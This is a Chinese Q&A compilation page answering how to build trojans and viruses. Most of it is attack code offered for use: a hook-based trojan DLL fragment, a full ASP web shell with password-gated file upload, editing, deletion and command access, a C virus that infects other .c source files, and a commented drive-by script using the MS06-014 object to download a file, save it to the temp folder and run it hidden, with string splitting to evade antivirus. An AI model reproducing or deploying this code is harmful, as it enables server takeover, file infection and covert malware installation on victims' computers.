本文目录一览:
怎么做木马?
问题一:怎么制作木马程序? 你需要学会编程才能编写木马编写木马最好用vc++。enet/eschool/video/c++/ 这是c++的教程,你学懂了这些皮毛的东西再深入研究内核编程吧如果上面的地址打不开可以到这里pconline/pcedu/empolder/gj/vc/0607/820674
问题二:木马和病毒是怎么做出来的呢? 哈哈...木马和病毒都属于执行程序...
木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。
“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。“木马”与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。
它是指通过一段特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是客户端,即控制端,另一个是服务端,即被控制端。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了! 木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。
随着病毒编写技术的发展,木马程序对用户的威胁越来越大,尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己,使普通用户很难在中毒后发觉。
木马得种类
1. 网络游戏木马
随着网络在线游戏的普及和升温,我国拥有规模庞大的网游玩家。网络游戏中的金钱、装备等虚拟财富与现实财富之间的界限越来越模糊。与此同时,以盗取网游帐号密码为目的的木马病毒也随之发展泛滥起来。
网络游戏木马通常采用记录用户键盘输入、Hook游戏进程API函数等方法获取用户的密码和帐号。窃取到的信息一般通过发送电子邮件或向远程脚本程序提交的方式发送给木马作者。
网络游戏木马的种类和数量,在国产木马病毒中都首屈一指。流行的网络游戏无一不受网游木马的威胁。一款新游戏正式发布后,往往在一到两个星期内,就会有相应的木马程序被制作出来。大量的木马生成器和黑客网站的公开销售也是网游木马泛滥的原因之一。
2. 网银木马
网银木马是针对网上交易系统编写的木马病毒,其目的是盗取用户的卡号、密码,甚至安全证书。此类木马种类数量虽然比不上网游木马,但它的危害更加直接,受害用户的损失更加惨重。
网银木马通常针对性较强,木马作者可能首先对某银行的网上交易系统进行仔细分析,然后针对安全薄弱环节编写病毒程序。如2004年的“网银大盗”病毒,在用户进入工行网银登录页面时,会自动把页面换成安全性能较差、但依然能够运转的老版页面,然后记录用户在此页面上填写的卡号和密码;“网银大盗3”利用招行网银专业版的备份安全证书功能,可以盗取安全证书;2005年的“新网银大盗”,采用API Hook等技术干扰网银登录安全控件的运行。
随着我国网上交易的普及,受到外来网银木马威胁的用户也在不断增加。
3. 即时通讯软件木马
现在,国内即时通讯软件百花齐放。QQ、新浪UC、网易泡泡、盛大圈圈……网上聊天的用户群十分庞大。常见的即时通讯类木马一般有3种:
一、发送消息型。通过即时通讯软件自动发送含有恶意网址的消息,目的在于让收到消息的用户......
问题三:怎么制作简单木马? 一个简单的vc++6.0下的木马源码 木马源程序,包括客户端和服务端PCSshare的客户端代码:
#include stdafx.h
#include SshWork.h
#pragma data_seg(Shared)
char m_CharFileName[256] = {0};
HHOOK g_hook = NULL;
HHOOK g_khook = NULL;
INITDLLINFO m_InitInfo = {0};
BOOL m_IsOk = FALSE;
#pragma data_seg()
#pragma ment(linker,/section:Shared,rws)
HINSTANCE ghInstance = NULL;
SshWork m_Work;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
case DLL_PROCESS_ATTACH:
ghInstance = (HINSTANCE) hModule;
break;
default : break;
}
return TRUE;
}
LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hook, nCode, wParam, lParam);
查看是否为指定进程
if(!m_IsOk m_InitInfo.m_ProcessId == GetCurrentProcessId())
{
找到指定进程取消hook
m_IsOk = TRUE;
if(g_hook) UnhookWindowsHookEx(g_hook);
通知主进程退出
HANDLE m_WaitEvent =
OpenEvent(EVENT_ALL_ACCESS,FALSE,
m_InitInfo.m_EventName);
if(m_WaitEvent)
{
SetEvent(m_WaitEvent);
CloseHandle(m_WaitEvent);
}
Sleep(1000);
装载DLL到进程
m_Work.m_Module = LoadLibrary(m_InitInfo.m_StartFile);
if(m_Work.m_Module)
{
m_Work.StartWork(m_InitInfo);
}
}
return lResult;
}
BOOL PlayWork(LPINIT......
问题四:木马病毒怎样制作 上网先学学把,别自己先中毒了,网上就有代码下载的
问题五:怎么制作木马病毒 5分 这是个比较复杂的问题,病毒开发不同于普通应用开发,需要更广泛的和更深入的编成技术 系统底层问题:截取屏幕、Hook鼠标键盘 网络问题:涉及到拦截数据报文,加解密数据 反侦测问题:隐藏进程…………学编程2~3个月,用Delphi之类的软件,一般就可以开发普通应用程序 VC++最多6个月,也能搞出些东西 但要搞病毒木马等,先学3年再考虑。
问题六:怎么做木马? 木马是内行的 但是你做木马 不要涉及财物之类的
盗取财物就涉及违法了
一般木马中毒都是通过下载软件,浏览未知网页
Trojan一词的特洛伊木马本意是特洛伊的,指特洛伊木马,是木马计的故事
木马会盗取你的账号,信息等资料
如果电脑中了木马建议尽快杀毒以免造成系统问题
可以先做一次全盘杀毒
然后针对性的:
腾讯电脑管家--工具箱--木马克星 (针对于杀了又出现的顽固病毒)
最后开启实时防毒保护。
问题七:怎么制作简单的木马程序 您好
1,制作木马和使用木马病毒都是违法犯罪的行为,不建议您去学习。
2,制作出木马病毒程序后,这个程序就会自动开始执行,对您的电脑首先开始盗取帐号木马以及破坏程序。
3,所以如果自己受到了攻击或者盗号,不要用这种方式,要以正当途径来解决。
4,建议您到腾讯电脑管家官网下载一个电脑管家。
5,电脑管家拥有16层实时防护功能和QQ帐号全景防御系统,可以从上网安全、应用入口、系统底层等全方位保护电脑安全不受木马病毒侵袭,而且电脑管家还可以全方位多维度保护账号安全,精确打击盗号木马,瞬时查杀并对风险预警。
如果还有其他疑问和问题,欢迎再次来电脑管家企业平台进行提问,我们将尽全力为您解答疑难
问题八:如何做远程控制的木马? 配置一个动态域名,然后设置客户端,通过漏洞发送,进行远程控制,建议你看看动画教程,以前的灰鸽子什么的是个经典,先把那个研究透了什么都会了
木马程序源码
一个asp木马:
<%@ LANGUAGE = VBScript.Encode codepage ="936" %>
<%Server.ScriptTimeOut=5000%>
<object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
'on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function
Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function
Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP上传程序 Version 2.0"
set objForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_5xsoft = Server.CreateObject("adodb.stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read
iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)", "sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.copyto dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb "?q=list.asp"
else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>
<body>
<%if request.form("password")<>"" then
response.write "Password Error!"
end if
%>
<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">
<tr>
<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">
<div align="center"><center><p>Enter Password:<input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">
<input type="submit" value="OK!LOGIN" name="B1"
style="font-size: 9pt; border: thin outset"></p>
</center></div>
</form>
</td>
</tr>
</table>
</body>
</html>
<%end if%>
<%case "down.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear
set s = Server.CreateObject("adodb.stream")
s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" strFilename " does not exist<p>")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" err.Description "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%>
<%case "list.asp"%>
<%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='" rseb "?q=list.asppath="Request("oldpath")"attrib="attrib"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=vbscript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
<%
Next
%></script><%
end if
End Sub
Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"
<%
Next
end if
Response.write"</script></table>"
End Sub
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<style type="text/css">
<!--
table{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
-->
</style>
</head>
<script language="JavaScript">
function crfile(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("<%=rseb%>?q=edit.aspattrib=<%=request("attrib")%>creat=yespath=<%=lpath%>"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("<%=rseb%>?q=edir.aspattrib=<%=request("attrib")%>op=creatpath=<%=lpath%>"+ls);}
return false;
}
</script>
<script language="vbscript">
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='" urlpath lpath xName "' target='_blank'><strong>" showstring "</strong></a></td><td width='20%' align='right'>" size "字节</td><td width='30%'><a href='#' title='类型:" type1 chr(10) "属性:" Attributes chr(10) "时间:" DateLastModified "'>属性</a> <a href='<%=rseb%>?q=edit.asppath=" lpath xName "attrib=" attrib "' target='_blank' ><font color='#FF8000' ></font>编辑</a> <a href="chr(34)"javascript: rmdir1('" lpath xName "')"chr(34)"><font color='#FF8000' ></font>删除</a> <a href='#' onclick=copyfile('" lpath Name "')><font color='#FF8000' ></font>复制</a> <a href='<%=rseb%>?q=down.asppath=<%=cpath%>\"xName"attrib=" attrib "' target='_blank' ><font color='#FF8000' ></font>下载</a></td></tr>"
end sub
sub so(lpath,xName,path,attrib)
document.write "<a href='<%=rseb%>?q=list.asppath=" lpath xName "oldpath=" path "attrib=" attrib "'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " xName "</a> <a href="chr(34)"javascript: rmdir('" lpath xName "')"chr(34)"><font color='#FF8000' ></font>删除</a><br>"
end sub
sub rmdir1(ls)
if confirm("你真的要删除这个文件吗!"Chr(13)Chr(10)"文件为:"ls) then
window.open("<%=rseb%>?q=edit.asppath=" ls "op=delattrib=<%=request("attrib")%>")
end if
end sub
sub rmdir(ls)
if confirm("你真的要删除这个目录吗!"Chr(13)Chr(10)"目录为:"ls) then
window.open("<%=rseb%>?q=edir.asppath="ls"op=delattrib=<%=request("attrib")%>")
end if
end sub
sub copyfile(sfile)
dfile=InputBox("※文件复制※"Chr(13)Chr(10)"源文件:" sfileChr(13)Chr(10)"输入目标文件的文件名:"Chr(13)Chr(10) "[允许带路径,要根据你的当前路径模式]")
dfile=trim(dfile)
attrib="<%=request("attrib")%>"
if dfile<>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib<>"true" then
alert "对不起,你在相对路径模式下不能使用绝对路径"Chr(13)Chr(10)"错误路径:["dfile"]"
exit sub
end if
else
lp="<%=lpath%>"
end if
window.open("<%=rseb%>?q=edit.asppath="+sfile+"op=copyattrib="+attrib+"dpath="+lp+dfile)
else
alert"您没有输入文件名!"
end If
end sub
</script>
<body>
<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">
<tr>
<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"
color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※换盘:<span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
For Each thing in oFileSys.Drives
Response.write "<font face=Wingdings>:</font><a href='" rseb "?q=list.asppath="thing.DriveLetter":attrib=true'>"thing.DriveLetter":</a>"
NEXT
%> </span> 地址:
<%= "\\" oScriptNet.ComputerName "\" oScriptNet.UserName %></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※<%
if Request("attrib")="true" then
response.write "<a href='" rseb "?q=list.asp'>切到相对路径</a>"
else
response.write "<a href='" rseb "?attrib=trueq=list.asp'>切到绝对路径</a>"
end if
%> ※绝对:<span
style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※当前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>
</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">
<tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">
编辑|
<input class="43fb-e323-86f8-e880 tx1" type="text" name="filename" size="20">
<input class="e323-86f8-e880-4c3f tx1" type="button" value="建文" onclick="crfile(form1.filename.value)">
<input class="86f8-e880-4c3f-3fcd tx1" type="button" value="建目" onclick="crdir(form1.filename.value)">
<input type="file" name="file1" class="e880-4c3f-3fcd-02d7 tx1" style="width:100" value="">
<input type="text" name="filepath" class="f0f9-56ae-689e-e6f4 tx1" style="width:100" value="<%=cpath%>">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" class="56ae-689e-e6f4-27e6 tx" value="1">
<input class="689e-e6f4-27e6-d857 tx1" type="submit" value="上传">
<input class="e6f4-27e6-d857-db4d tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令">
<input class="27e6-d857-db4d-66b4 tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置">
<input class="d857-db4d-66b4-1b63 tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso">
</td>
</td>
</tr></form>
<tr>
<td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>
</td>
<td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>
</td>
</tr>
</table>
<%else
response.write "Password Error!"
response.write "<a href='" rseb "?q=" rseb "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edit.asp"%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>编辑源代码</title>
<style>
<!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body>
<% '读文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.Delete True
Response.write "<script>alert('删除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="copy" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.copy dsfile
%>
<script language=vbscript>
msgbox "源文件:<%=whichfile%>" vbcrlf "目的文件:<%=dsfile%>" vbcrlf "复制成功!要刷新才能看到效果!"
window.close()
</script>
<%
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%>
<form method="POST" action="<%=rseb%>?q=edit.asp">
<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"
width="700" cellpadding="0">
<tr>
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45"
value="<%=Request("path")%> ">直接更改文件名,相当于“另存为”</td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"
value="提交" name="B1"><input type="reset" value="复原" name="B2"></td>
</tr>
</table>
</form>
<%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "<script>alert('修改成功!要刷新才能看到效果');window.close();</script>"
end if
end if
end if
else
response.write "Password Error!"
response.write "<a href='" rseb "?q=" rseb "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edir.asp"%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>目录操作</title>
<style>
<!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body>
<% '读文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.DeleteFolder whichdir,True
Response.write "<script>alert('删除的目录为:" whichdir "删除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "<script>alert('建立的目录为:" whichdir "建立成功!要刷新才能看到效果');window.close();</script>"
end if
end if
else
response.write "Password Error!"
response.write "<a href='" rseb "?q=" rseb "'>【返 回】</a>"
end if
%>
</body>
</html>
<%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "请输入要上传至的目录!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"/" then formPath=formPath"/"
end if
iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize>
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。
网页木马代码大全
来晚了吗?……再复制一次吧……
要简洁……感觉复杂的话应该能免杀……
on error resume next '开启错误陷阱
dl = "" '定义“dl”为木马下载地址
Set df = document.createElement("object") '建立子元素
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 声明网马的clsid,这个是ms06014的
str="Microsoft.XMLHTTP" 使用XMLhttp对象
Set x = df.CreateObject(str,"") '用Adodb.Stream执行文件操作
a1="Ado" '下面这三个的作用是拆分字符串“Adodb.Stream”,躲过一些杀毒软件查杀
a2="db."
a3="Str"
a4="eam"
str1=a1a2a3a4 '合并字符串“Adodb.Stream”
str5=str1 '转移变量str1到str5
set S = df.createobject(str5,"") '执行文件操作
S.type = 1
str6="GET" '使用get方式获取木马文件
x.Open str6, dl, False '根据木马地址获取木马文件
x.Send
fname1="g0ld.com" '定义木马的文件名"g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","") '用FileSystemObjec执行文件操作,这次是写入文件
set tmp = F.GetSpecialFolder(2) '获取临时文件夹路径
fname1= F.BuildPath(tmp,fname1) '下面这些是向临时文件夹中写入木马
S.open
S.write x.responseBody
S.savetofile fname1,2 '保存木马文件
S.close '关闭连接
set Q = df.createobject("Shell.Application","") '用Shell.Application运行木马文件
Q.ShellExecute fname1,"","","open",0 '以隐藏方式运行木马
问题补充:我真想飞起给楼下一脚~~~~~~~
怎么编写木马程序?请各位大哥大姐们指点一二,越详细越好,小弟一点不懂编程哦!
